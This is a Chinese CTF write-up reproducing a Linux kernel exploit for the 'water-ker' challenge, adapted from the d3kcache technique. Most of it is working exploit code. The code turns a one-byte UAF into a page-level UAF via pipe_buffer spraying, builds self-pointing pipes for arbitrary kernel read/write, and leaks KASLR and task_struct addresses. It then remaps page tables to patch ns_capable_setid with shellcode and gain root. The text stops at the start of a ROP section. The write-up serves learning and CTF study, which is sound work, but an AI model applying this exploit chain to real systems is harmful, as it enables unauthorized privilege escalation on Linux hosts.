2023 强网拟态 water-ker
第一次在比赛中尝试做kernel题(虽然没做出来),复现来哩~
基本上是抄的D^3CTF2023 d3kcache的exp,学习一下这种利用方法
虽然已经不算速速了但我还是更了(・∀・(・∀・(・∀・)*
pipe_buffer
在pipe系统调用中申请的结构体,用于存放pipe的数据
1 |
|
在alloc_pipe_info函数中会申请pipe_buffer(默认16)个pipe_buffer
1 |
|
在pipe_write中会给pipe_buffer->page申请一个page
1 |
|
close一个pipe会在free_pipe_info释放pipe_buffer,如果一个buf->page的ref为0会在pipe_buf_release中free这个page
1 |
|
F_SETPIPE_SZ可以更改pipe_buffer的值达到任意大小分配的目的,在pipe_resize_ring函数中会申请新的pipe_buffer,复制内容并释放原来的pipe_buffer
重新分配的大小是2^order * 0x1000,2^order就是pipe_buffer数组的大小
1 |
|
方法一
漏洞就不说了(ˉ▽ˉ;)…,0x200的chunk,有一次一字节的uaf
构造页级uaf
可以把pipe_buffer分配到uaf的chunk,这样我们就能更改page成员的低字节,一个page结构体是0x40,只要把低字节改成0x40的倍数就可能使两个pipe_buffer->page指向同一个page
再把这个page释放掉我们就获得了一个uaf的page,再把这个page分配给其他的结构体就可以通过pipe管道的性质更改结构体的内容
来看exp
一些准备工作
1
2
3
4
5save_status();
bind_core(0);
fd_water = open("/dev/water", O_RDWR);
if(fd_water < 0)
err_exit("Fail to open the device water!");进行以上利用需要一些pipe_buffer->page是物理相邻的,把order 0的page消耗光就能从更高的order取page并进行分裂,这样就能获得相邻的page了,所以,简单粗暴地开喷!
喷一些pipe_buffer
1
2
3
4
5
6
7
8
9puts("[*] spray pipe_buffer...");
for(int i = 0; i < PIPE_SPRAY_NUM; i++)
{
if(pipe(pipe_fd[i]) < 0)
{
printf("[x] failed to alloc %d pipe!", i);
err_exit("FAILED to create pipe!");
}
}分两波更改大小,分两波的原因
- 后续write的时候会给buffer_pipe->page分配物理页,顺序和现在重新分配buffer_pipe一样
- 前面分配的page可能不是物理连续的,而利用需要连续的物理页
- 所以第一波分配先消耗一下不连续的物理页,之后的物理页就是连续的了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23puts("[*] first extend pipe pages...");
for(int i = 0; i < PIPE_SPRAY_NUM / 2; i++)
{
if(fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 8) < 0)
{
printf("[x] failed to extend %d pipe!", i);
err_exit("FAILED to extend pipe!");
}
}
puts("[*] UAF...");
add_chunk("Eurus");
delete_chunk();
puts("[*] second extend pipe pages...");
for(int i = PIPE_SPRAY_NUM / 2; i < PIPE_SPRAY_NUM; i++)
{
if(fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 8) < 0)
{
printf("[x] failed to extend %d pipe!", i);
err_exit("FAILED to extend pipe!");
}
}write一波,给pipe_buffer->page分配物理页,写入pipe_fd的编号便于寻找是否成功造成page重叠
1
2
3
4
5
6
7
8
9
10
11puts("[*] allocating pipe pages...");
for(int i = 0; i < PIPE_SPRAY_NUM; i++)
{
write(pipe_fd[i][1], "arttnba3", 8);
write(pipe_fd[i][1], &i, sizeof(int));
write(pipe_fd[i][1], "arttnba3", 8);
write(pipe_fd[i][1], &i, sizeof(int));
write(pipe_fd[i][1], "arttnba3", 8);
write(pipe_fd[i][1], "arttnba3", 8);
write(pipe_fd[i][1], "arttnba3", 8);
}利用uaf更改pipe_buffer->page的低字节
1
2puts("[*] edit one...");
edit_chunk("\x80");查找是否造成page重叠并确定victim pipe_buffer的序号victim_pid,如果读出的idx和实际的idx不一样则成功
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23puts("[*] checking for corruption...");
for(int i = 0; i < PIPE_SPRAY_NUM; i++)
{
char a3_str[0x10];
int nr;
memset(a3_str, '\0', sizeof(a3_str));
read(pipe_fd[i][0], a3_str, 8);
read(pipe_fd[i][0], &nr, sizeof(int));
if(!strcmp(a3_str, "arttnba3") && nr != i)
{
orig_pid = nr;
victim_pid = i;
printf("\033[32m\033[1m[+] Found victim: \033[0m%d "
"\033[32m\033[1m, orig: \033[0m%d\n\n",
victim_pid, orig_pid);
break;
}
}
if(victim_pid == -1)
{
err_exit("Fail to find the orig!");
}
构造二级自写管道
上文中我们已经有了页级uaf,现在可以用这个页分配结构体进行泄露和结构体改写了,这里依然选择pipe_buffer作为victim结构体
kmalloc在对应kmem_cache的slab不够用时会向buddy system申请page做为新的slab,申请的page的order由kmem_cache结构体的oo成员的高16位决定
所以我们需要新的pipe_buffer数组的大小满足对应kmem_cache的oo高16位为0,这样才会将刚才uaf的page取回来作为slab分配,这也就是exp中snd_pipe_sz的计算逻辑,这里选择96的kmem_cache
1
2#define SND_PIPE_BUF_SZ 96
size_t snd_pipe_sz = 0x1000 * (SND_PIPE_BUF_SZ/sizeof(struct pipe_buffer));
此时我们可以通过第一次uaf获取victim pipe_buffer的内容,泄露victim page的地址
然后再在victim page上造一个uaf,再把victim page分配为pipe_buffer数组
由于我们已经知道了victim page的地址,可以把victim pipe_buffer2->page再指回victim page,我改我自己(
这时就可以修改pipe_buffer的offset和len来控制pipe的读写起始位置(offset是读起始位置,len是写起始位置 - 读起始位置)
1 |
|
继续exp
我们需要3个这样的self-pointing pipe_buffer
先向victim pipe里写一些数据不然之后无法读取
1
2
3
4size_t buf[0x1000];
size_t snd_pipe_sz = 0x1000 * (SND_PIPE_BUF_SZ/sizeof(struct pipe_buffer));
memset(buf, '\0', sizeof(buf));
write(pipe_fd[victim_pid][1], buf, SND_PIPE_BUF_SZ*2 - 40 - 2*sizeof(int));制造页级uaf,利用fcntl将pipe_buffer分配到uaf页上
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17puts("[*] free original pipe...");
close(pipe_fd[orig_pid][0]);
close(pipe_fd[orig_pid][1]);
puts("[*] fcntl() to set the pipe_buffer on victim page...");
for(int i = 0; i < PIPE_SPRAY_NUM; i++)
{
if (i == orig_pid || i == victim_pid)
{
continue;
}
if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, snd_pipe_sz) < 0) {
printf("[x] failed to resize %d pipe!\n", i);
err_exit("FAILED to re-alloc pipe_buffer!");
}
}泄露pipe_buffer->page和pipe_buffer->ops
1
2
3
4
5
6
7
8
9
10
11
12
13
14read(pipe_fd[victim_pid][0], buf, SND_PIPE_BUF_SZ - 8 - sizeof(int));
read(pipe_fd[victim_pid][0], &info_pipe_buf, sizeof(info_pipe_buf));
printf("\033[34m\033[1m[?] info_pipe_buf->page: \033[0m%p\n"
"\033[34m\033[1m[?] info_pipe_buf->ops: \033[0m%p\n",
info_pipe_buf.page, info_pipe_buf.ops);
if((size_t) info_pipe_buf.page < 0xffff000000000000 || (size_t) info_pipe_buf.ops < 0xffffffff81000000)
{
err_exit("FAILED to re-hit victim page!");
}
puts("\033[32m\033[1m[+] Successfully to hit the UAF page!\033[0m");
printf("\033[32m\033[1m[+] Got page leak:\033[0m %p\n", info_pipe_buf.page);解释一下读写数据量的计算,先是read
由于之前已经读取了8+4字节用于判断page重叠是否成功,所以此时offset为12,想要读取在pipe_buffer结构体开始的成员就只能读取下一个slab-96的pipe_buffer
所以要先读取96-8-4字节才能读到第二个slab-96的pipe_buffer
1
read(pipe_fd[victim_pid][0], buf, SND_PIPE_BUF_SZ - 8 - sizeof(int));
再解释一下write的数据量计算
由于write的偏移一定在read之后,所以要想更改pipe_buffer只能改第三个slab-96的piipe_buffer(前两个用于read了)
之前已经向pipe中写入了8 * 5 + 4 * 2字节,所以要先write这么多👇字节来保证此时write的偏移位于第三个slab-96的pipe_buffer
1
write(pipe_fd[victim_pid][1], buf, SND_PIPE_BUF_SZ*2 - 40 - 2*sizeof(int));
更改pipe_buffer->page制造第二个uaf,并确定victim pipe_buffer的序号snd_vicitm_pid
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28puts("[*] construct a second-level uaf pipe page...");
info_pipe_buf.page = (struct page*)((size_t) info_pipe_buf.page + 0x40);
write(pipe_fd[victim_pid][1], &info_pipe_buf, sizeof(info_pipe_buf));
for(int i = 0; i < PIPE_SPRAY_NUM; i++)
{
char a3_str[0x10];
int nr;
memset(a3_str, '\0', sizeof(a3_str));
if(i == orig_pid || i == victim_pid)
{
continue;
}
read(pipe_fd[i][0], a3_str, 8);
read(pipe_fd[i][0], &nr, sizeof(int));
if(nr < PIPE_SPRAY_NUM && i != nr)
{
snd_orig_pid = nr;
snd_vicitm_pid = i;
printf("\033[32m\033[1m[+] Found second-level victim: \033[0m%d "
"\033[32m\033[1m, orig: \033[0m%d\n",
snd_vicitm_pid, snd_orig_pid);
break;
}
}
if(snd_vicitm_pid == -1)
{
err_exit("FAILED to corrupt second-level pipe_buffer!");
}
进入眼花缭乱的阶段(ˉ▽ˉ;)…,building_self_writing_pipe
我们要再次将uaf的page分配为pipe_buffer,这次选择slab-192,逻辑与上次一致
1
2
3
4
5
6size_t buf[0x1000];
size_t trd_pipe_sz = 0x1000 * (TRD_PIPE_BUF_SZ/sizeof(struct pipe_buffer));
struct pipe_buffer evil_pipe_buf;
struct page *page_ptr;
memset(buf, 0, sizeof(buf));这次我们要改写第二个slab-192的pipe_buffer(之前已写入40 + 2 * 4字节)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23/* let the page's ptr at pipe_buffer */
write(pipe_fd[snd_vicitm_pid][1], buf, TRD_PIPE_BUF_SZ - 40 - 2*sizeof(int));
/* free orignal pipe's page */
puts("[*] free second-level original pipe...");
close(pipe_fd[snd_orig_pid][0]);
close(pipe_fd[snd_orig_pid][1]);
/* try to rehit victim page by reallocating pipe_buffer */
puts("[*] fcntl() to set the pipe_buffer on second-level victim page...");
for(int i = 0; i < PIPE_SPRAY_NUM; i++)
{
if(i == orig_pid || i == victim_pid || i == snd_orig_pid || i == snd_vicitm_pid)
{
continue;
}
if(fcntl(pipe_fd[i][1], F_SETPIPE_SZ, trd_pipe_sz) < 0)
{
printf("[x] failed to resize %d pipe!\n", i);
err_exit("FAILED to re-alloc pipe_buffer!");
}
}更改第二个slab-192的pipe_buffer
1
2
3
4
5
6
7
8
9
10/* let a pipe->bufs pointing to itself */
puts("[*] hijacking the 2nd pipe_buffer on page to itself...");
evil_pipe_buf.page = info_pipe_buf.page;
evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
evil_pipe_buf.len = TRD_PIPE_BUF_SZ;
evil_pipe_buf.ops = info_pipe_buf.ops;
evil_pipe_buf.flags = info_pipe_buf.flags;
evil_pipe_buf.private = info_pipe_buf.private;
write(pipe_fd[snd_vicitm_pid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));检查劫持是否成功(根据pipe_buffer->page),确定第一个self-pointing pipe_buffer序号self_2nd_pipe_pid
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22/* check for third-level victim pipe */
for(int i = 0; i < PIPE_SPRAY_NUM; i++)
{
if (i == orig_pid || i == victim_pid || i == snd_orig_pid || i == snd_vicitm_pid)
{
continue;
}
read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));
if(page_ptr == evil_pipe_buf.page)
{
self_2nd_pipe_pid = i;
printf("\033[32m\033[1m[+] Found self-writing pipe: \033[0m%d\n",
self_2nd_pipe_pid);
break;
}
}
if(self_2nd_pipe_pid == -1)
{
err_exit("FAILED to build a self-writing pipe!");
}获得第二个self-pointing pipe_buffer,确定序号self_3rd_pipe_pid,这时更改的是第三个slab-192的pipe_buffer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30/* overwrite the 3rd pipe_buffer to this page too */
puts("[*] hijacking the 3rd pipe_buffer on page to itself...");
evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
evil_pipe_buf.len = TRD_PIPE_BUF_SZ;
write(pipe_fd[snd_vicitm_pid][1],buf,TRD_PIPE_BUF_SZ-sizeof(evil_pipe_buf));
write(pipe_fd[snd_vicitm_pid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));
/* check for third-level victim pipe */
for(int i = 0; i < PIPE_SPRAY_NUM; i++)
{
if (i == orig_pid || i == victim_pid || i == snd_orig_pid || i == snd_vicitm_pid || i == self_2nd_pipe_pid)
{
continue;
}
read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));
if(page_ptr == evil_pipe_buf.page)
{
self_3rd_pipe_pid = i;
printf("\033[32m\033[1m[+] Found another self-writing pipe:\033[0m"
"%d\n", self_3rd_pipe_pid);
break;
}
}
if(self_3rd_pipe_pid == -1)
{
err_exit("FAILED to build a self-writing pipe!");
}获得第三个self-pointing pipe_buffer,确定序号self_4th_pipe_pid,这时更改的是第四个slab-192的pipe_buffer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29/* overwrite the 4th pipe_buffer to this page too */
puts("[*] hijacking the 4th pipe_buffer on page to itself...");
evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
evil_pipe_buf.len = TRD_PIPE_BUF_SZ;
write(pipe_fd[snd_vicitm_pid][1],buf,TRD_PIPE_BUF_SZ-sizeof(evil_pipe_buf));
write(pipe_fd[snd_vicitm_pid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));
/* check for third-level victim pipe */
for(int i = 0; i < PIPE_SPRAY_NUM; i++)
{
if(i == orig_pid || i == victim_pid || i == snd_orig_pid || i == snd_vicitm_pid || i == self_2nd_pipe_pid || i== self_3rd_pipe_pid)
{
continue;
}
read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));
if(page_ptr == evil_pipe_buf.page)
{
self_4th_pipe_pid = i;
printf("\033[32m\033[1m[+] Found another self-writing pipe:\033[0m"
"%d\n", self_4th_pipe_pid);
break;
}
}
if (self_4th_pipe_pid == -1) {
err_exit("FAILED to build a self-writing pipe!");
}以上过程大部分pipe需要读取2次8字节字符串+4字节序号,三次8字节指针,所以最开始需要这么write👇
1
2
3
4
5
6
7write(pipe_fd[i][1], "arttnba3", 8);
write(pipe_fd[i][1], &i, sizeof(int));
write(pipe_fd[i][1], "arttnba3", 8);
write(pipe_fd[i][1], &i, sizeof(int));
write(pipe_fd[i][1], "arttnba3", 8);
write(pipe_fd[i][1], "arttnba3", 8);
write(pipe_fd[i][1], "arttnba3", 8);
ps:因为开启了Random freelist,所以获取的self-pointing pipe_buffer的序号可能不是连续的
任意读写
现在我们有三个self-pointing pipe_buffer
- 第一个管道用以进行内存空间中的任意读写,我们通过修改其 page 指针完成
- 第二个管道用以修改第三个管道,使其写入的起始位置指向第一个管道
- 第三个管道用以修改第一个与第二个管道,使得第一个管道的 pipe 指针指向指定位置,第二个管道的写入起始位置指向第三个管道
继续exp
先调用setup_evil_pipe进行一些初始化
先进行一些覆盖
1
2
3memcpy(&evil_2nd_buf, &info_pipe_buf, sizeof(evil_2nd_buf));
memcpy(&evil_3rd_buf, &info_pipe_buf, sizeof(evil_3rd_buf));
memcpy(&evil_4th_buf, &info_pipe_buf, sizeof(evil_4th_buf));第一个管道用于进行任意读写,先将read初始化为页开始,write初始化为页尾
1
2evil_2nd_buf.offset = 0;
evil_2nd_buf.len = 0xff0;第二个管道用于修改第三个管道,所以利用第三个管道修改第二个管道,read,write都指向第三个管道(初始化时第三个管道的read指向第一个管道,write指向第二个管道)
1
2
3evil_3rd_buf.offset = TRD_PIPE_BUF_SZ * 3;
evil_3rd_buf.len = 0;
write(pipe_fd[self_4th_pipe_pid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));第三个管道用于修改第一第二个管道,所以write,read都指向第一个管道(在每次任意读写时初始化)
1
2evil_4th_buf.offset = TRD_PIPE_BUF_SZ;
evil_4th_buf.len = 0;
初始化完毕就可以任意读写了,先是读arbitrary_read_by_pipe
书接上回,每次任意读写的时候要使用pipe2初始化pipe3
1
2/* hijack the 4th pipe pointing to 2nd pipe */
write(pipe_fd[self_3rd_pipe_pid][1], &evil_4th_buf, sizeof(evil_4th_buf));使用pipe3修改pipe1,指向要读写的页并初始化read指向页开始
1
2
3
4
5
6
7/* page to read */
evil_2nd_buf.offset = 0;
evil_2nd_buf.len = 0x1ff8;
evil_2nd_buf.page = page_to_read;
/* hijack the 2nd pipe for arbitrary read */
write(pipe_fd[self_4th_pipe_pid][1], &evil_2nd_buf, sizeof(evil_2nd_buf));接下来的write是为了跳过pipe1,准备修改pipe2
1
2
3write(pipe_fd[self_4th_pipe_pid][1],
temp_zero_buf,
TRD_PIPE_BUF_SZ-sizeof(evil_2nd_buf));最开始pipe2用于初始化pipe3了,这里使用pipe3把pipe2再改回去
1
2/* hijack the 3rd pipe to point to 4th pipe */
write(pipe_fd[self_4th_pipe_pid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));最终目的——把数据读出来
1
2/* read out data */
read(pipe_fd[self_2nd_pipe_pid][0], dst, 0xfff);
任意写arbitrary_write_by_pipe和任意读思路一致(除了pipe1的write的指向)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22void arbitrary_write_by_pipe(struct page *page_to_write, void *src, size_t len)
{
/* page to write */
evil_2nd_buf.page = page_to_write;
evil_2nd_buf.offset = 0;
evil_2nd_buf.len = 0;
/* hijack the 4th pipe pointing to 2nd pipe */
write(pipe_fd[self_3rd_pipe_pid][1], &evil_4th_buf, sizeof(evil_4th_buf));
/* hijack the 2nd pipe for arbitrary read, 3rd pipe point to 4th pipe */
write(pipe_fd[self_4th_pipe_pid][1], &evil_2nd_buf, sizeof(evil_2nd_buf));
write(pipe_fd[self_4th_pipe_pid][1],
temp_zero_buf,
TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf));
/* hijack the 3rd pipe to point to 4th pipe */
write(pipe_fd[self_4th_pipe_pid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));
/* write data into dst page */
write(pipe_fd[self_2nd_pipe_pid][1], src, len);
}
任意读写设计思路
到利用uaf泄露page这一步都是惯常操作
self-pointing:要达成任意页读写首先我们要能够更改page指针,要更改page指针就要知道pipe_buffer地址再让page指向pipe_buffer……听起来很像死循环(ˉ▽ˉ;)…
但由于我们已经泄露了一个page地址,所以让这个page上的pipe_buffer->page指向自己就能解决以上问题
三个pipe的更改类似于一个这样的循环
- 首先需要一个更改pipe1->page的pipe3
- 还需要一个将pipe3复原的pipe2
- pipe2还需要复原(又双叒叕循环了(ˉ▽ˉ;)…),由于pipe3处于高物理地址处所以可以一口气完成更改pipe1和pipe2的任务
所以大概一个过程就是
- pipe2复原pipe3
- pipe3更改pipe1指向要读写的page
- pipe3复原pipe2
地址泄露
需要获得两个基址:vmemmap基址和kernel基址
vmemmap
- 在内存大于1G时,KASLR的粒度是256MB(0x10000000),我们可以通过存在物理地址physmem_base + 0x9d000(vmemmap[157])处的secondary_startup_64函数指针判断是否找到了kernel基址
- 由于我们之前已经有了一个page的地址,我们可以先将这个page的地址256MB对齐作为vmemmap基址,如果vmemmap[157]处有secondary_startup_64函数指针则基址正确,否则vmemmap-=256MB,继续
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23size_t *comm_addr;
memset(buf, 0, sizeof(buf));
puts("[*] Setting up kernel arbitrary read & write...");
setup_evil_pipe();
vmemmap_base = (size_t) info_pipe_buf.page & 0xfffffffff0000000;
for (;;) {
arbitrary_read_by_pipe((struct page*) (vmemmap_base + 157 * 0x40), buf);
if (buf[0] > 0xffffffff81000000 && ((buf[0] & 0xfff) == 0xe0)) {
kernel_base = buf[0] - 0xe0;
kernel_offset = kernel_base - 0xffffffff81000000;
printf("\033[32m\033[1m[+] Found kernel base: \033[0m0x%lx\n"
"\033[32m\033[1m[+] Kernel offset: \033[0m0x%lx\n",
kernel_base, kernel_offset);
break;
}
vmemmap_base -= 0x10000000;
}
printf("\033[32m\033[1m[+] vmemmap_base:\033[0m 0x%lx\n\n", vmemmap_base);ps:关于kaslr的所有内容都是根据注释来的,不清楚原理,感觉要研究原理又要开始系统启动了捏~( ̄▽ ̄)~*
current task_struct
task_struct结构体有一个comm成员会记录进程的名称,是一个十六字节的字符数组
1
2
3struct task_struct {
char comm[16]; /* 2960 16 */
}prctl系统调用可以修改进程的名称,这个进程名之后会作为内存搜索的目标来定位task_struct
1
2
3
4/* now seeking for the task_struct in kernel memory */
puts("[*] Seeking task_struct in memory...");
prctl(PR_SET_NAME, "arttnba3pwnn");搜索comm,并根据comm定位task_struct,task_struct的ptraced指针是指向自己的,这样我们就能获取task_struct的地址
因为task_struct是存在直接映射区(heap)上的,且在内存小于256M时heap_base = heap_leak & 0xfffffffff0000000,这样我们就能获得直接heap基址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27for (int i = 0; 1; i++) {
arbitrary_read_by_pipe((struct page*) (vmemmap_base + i * 0x40), buf);
comm_addr = memmem(buf, 0xf00, "arttnba3pwnn", 12);
if (comm_addr && (comm_addr[-2] > 0xffff888000000000) /* task->cred */
&& (comm_addr[-3] > 0xffff888000000000) /* task->real_cred */
&& (comm_addr[-61] > 0xffff888000000000) /* task->read_parent */
&& (comm_addr[-60] > 0xffff888000000000)) { /* task->parent */
/* task->read_parent */
parent_task = comm_addr[-61];
/* task_struct::ptraced */
current_task = comm_addr[-54] - 2528;
page_offset_base = (comm_addr[-54]&0xfffffffffffff000) - i * 0x1000;
page_offset_base &= 0xfffffffff0000000;
printf("\033[32m\033[1m[+] Found task_struct on page: \033[0m%p\n",
(struct page*) (vmemmap_base + i * 0x40));
printf("\033[32m\033[1m[+] page_offset_base: \033[0m0x%lx\n",
page_offset_base);
printf("\033[34m\033[1m[*] current task_struct's addr: \033[0m"
"0x%lx\n\n", current_task);
break;
}
}
提权
三种提权方法
USMA
考虑直接更改内核代码段(○´・д・)ノ
但直接映射区对应的代码段区域没有w权限,直接写入会造成kernel panic
改写代码段本质上是向对应的物理页写入数据,上文我们已经获得了task_struct的地址,我们可以考虑更改进程页表建立一个到内核代码段的映射,这样就能改写了:)
方便起见先mmap一段地址,再改写这段地址的页表,这就是usma \ ^o^ /
先说明一下这个地址转换函数direct_map_addr_to_page_addr,用于将直接映射区的地址转化为所属页的page结构体地址(page_offset_base是直接映射区基址)
1
2
3
4
5
6
7
8size_t direct_map_addr_to_page_addr(size_t direct_map_addr)
{
size_t page_count;
page_count = ((direct_map_addr & (~0xfff)) - page_offset_base) / 0x1000;
return vmemmap_base + page_count * 0x40;
}先调用pgd_vaddr_resolve找页表地址
从task_struct所在页读取内容(读两页),并获取mm和stack的地址,定位mm_struct所在的页
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17puts("[*] Reading current task_struct...");
/* read current task_struct */
current_task_page = direct_map_addr_to_page_addr(current_task);
arbitrary_read_by_pipe((struct page*) current_task_page, buf);
arbitrary_read_by_pipe((struct page*) (current_task_page+0x40), &buf[512]);
tsk_buf = (size_t*) ((size_t) buf + (current_task & 0xfff));
stack_addr = tsk_buf[4] + 0x3000;
mm_struct_addr = tsk_buf[292];
printf("\033[34m\033[1m[*] kernel stack's addr:\033[0m0x%lx\n",stack_addr);
printf("\033[34m\033[1m[*] mm_struct's addr:\033[0m0x%lx\n",mm_struct_addr);
mm_struct_page = direct_map_addr_to_page_addr(mm_struct_addr);
printf("\033[34m\033[1m[*] mm_struct's page:\033[0m0x%lx\n",mm_struct_page);读mm_struct,定位页表pgd
1
2
3
4
5
6
7
8
9
10
11/* read mm_struct */
arbitrary_read_by_pipe((struct page*) mm_struct_page, buf);
arbitrary_read_by_pipe((struct page*) (mm_struct_page+0x40), &buf[512]);
mm_struct_buf = (size_t*) ((size_t) buf + (mm_struct_addr & 0xfff));
/* only this is a virtual addr, others in page table are all physical addr*/
pgd_addr = mm_struct_buf[9];
printf("\033[32m\033[1m[+] Got kernel page table of current task:\033[0m"
"0x%lx\n\n", pgd_addr);
mmap一段内存并且先往里面写点东西,因为mmap不会先分配内存页,第一次写入才会分配内存页,需要两页
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16#define NS_CAPABLE_SETID 0xffffffff810eab50
char *kcode_map, *kcode_func;
size_t dst_paddr, dst_vaddr, *rop, idx = 0;
kcode_map = mmap((void*) 0x114514000, 0x2000, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (!kcode_map) {
err_exit("FAILED to create mmap area!");
}
/* because of lazy allocation, we need to write it manually */
for (int i = 0; i < 8; i++) {
kcode_map[i] = "arttnba3"[i];
kcode_map[i + 0x1000] = "arttnba3"[i];
}要更改的目标函数是ns_capable_setid,这里计算的是虚拟地址
1
2
3
4/* overwrite kernel code seg to exec shellcode directly :) */
dst_vaddr = NS_CAPABLE_SETID + kernel_offset;
printf("\033[34m\033[1m[*] vaddr of ns_capable_setid is: \033[0m0x%lx\n",
dst_vaddr);接下来就是调用vaddr_resolve_for_3_level查找ns_capable_setid对应的页表项,因为进程的页表也映射了内核空间
1
dst_paddr = vaddr_resolve_for_3_level(pgd_addr, dst_vaddr);
先看一些与页表有关的宏
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18#define PTE_OFFSET 12
#define PMD_OFFSET 21
#define PUD_OFFSET 30
#define PGD_OFFSET 39
#define PT_ENTRY_MASK 0b111111111UL
#define PTE_MASK (PT_ENTRY_MASK << PTE_OFFSET)
#define PMD_MASK (PT_ENTRY_MASK << PMD_OFFSET)
#define PUD_MASK (PT_ENTRY_MASK << PUD_OFFSET)
#define PGD_MASK (PT_ENTRY_MASK << PGD_OFFSET)
#define PTE_ENTRY(addr) ((addr >> PTE_OFFSET) & PT_ENTRY_MASK)
#define PMD_ENTRY(addr) ((addr >> PMD_OFFSET) & PT_ENTRY_MASK)
#define PUD_ENTRY(addr) ((addr >> PUD_OFFSET) & PT_ENTRY_MASK)
#define PGD_ENTRY(addr) ((addr >> PGD_OFFSET) & PT_ENTRY_MASK)
#define PAGE_ATTR_RW (1UL << 1)
#define PAGE_ATTR_NX (1UL << 63)由于PDE的PS位置一,所以PDE直接映射到2M的页,其实只有三级页表,放一张四级页表的图意思一下:)
vaddr_resolve_for_3_level返回目标虚拟地址的物理地址
对于每级页表
- 先读取内容,读一页
- 根据虚拟地址对应位数查找下一级页表的地址,还要去除低位和高位的标志位
- 以上得出的是物理地址,加直接映射区基址转化为虚拟地址
1
2
3
4
5
6
7
8
9
10
11
12
13size_t buf[0x1000];
size_t pud_addr, pmd_addr;
arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pgd_addr), buf);
pud_addr = (buf[PGD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
pud_addr += page_offset_base;
arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pud_addr), buf);
pmd_addr = (buf[PUD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
pmd_addr += page_offset_base;
arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pmd_addr), buf);
return (buf[PMD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
计算ns_capable_setid所在的小页
1
2
3
4dst_paddr += 0x1000 * PTE_ENTRY(dst_vaddr);
printf("\033[32m\033[1m[+] Got ns_capable_setid's phys addr: \033[0m"
"0x%lx\n\n", dst_paddr);调用vaddr_remapping把mmap映射的物理地址改为ns_capable_setid,改两页
1
2
3/* remapping to our mmap area */
vaddr_remapping(pgd_addr, 0x114514000, dst_paddr);
vaddr_remapping(pgd_addr, 0x114514000 + 0x1000, dst_paddr + 0x1000);这里的PDE的PS位没有置一,所以是四级页表,思路和vaddr_resolve_for_3_level一样,多一步寻表和更改,更改处还要将页置为可写
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22void vaddr_remapping(size_t pgd_addr, size_t vaddr, size_t paddr)
{
size_t buf[0x1000];
size_t pud_addr, pmd_addr, pte_addr;
arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pgd_addr), buf);
pud_addr = (buf[PGD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
pud_addr += page_offset_base;
arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pud_addr), buf);
pmd_addr = (buf[PUD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
pmd_addr += page_offset_base;
arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pmd_addr), buf);
pte_addr = (buf[PMD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
pte_addr += page_offset_base;
arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pte_addr), buf);
buf[PTE_ENTRY(vaddr)] = paddr | 0x8000000000000867; /* mark it writable */
arbitrary_write_by_pipe((void*) direct_map_addr_to_page_addr(pte_addr), buf,
0xff0);
}
开始更改目标函数ns_capable_setid
setresuid系统调用中会调用ns_capable_setid判断user的权限,直接patch ns_capable_setid使它永远return true:)
1
2
3
4
5memcpy(kcode_map + (NS_CAPABLE_SETID & 0xfff),
"\xf3\x0f\x1e\xfa" /* endbr64 */
"H\xc7\xc0\x01\x00\x00\x00" /* mov rax, 1 */
"\xc3", /* ret */
12);调用setresuid更改用户id,提权拿shell
1
2
3
4
5
6
7/* get root now :) */
puts("[*] trigger evil ns_capable_setid() in setresuid()...\n");
sleep(5);
setresuid(0, 0, 0);
get_root_shell();
ROP
通过task_struct找内核栈地址所在page,直接在内核栈上写rop链
还是调用pgd_vaddr_resolve获取一些地址
1
2
3
4
5
6size_t rop[0x1000], idx = 0;
redo:
/* resolving some vaddr */
pgd_vaddr_resolve();获取stack的内核虚拟地址(task_struct的task成员就是内核栈地址)
1
2
3
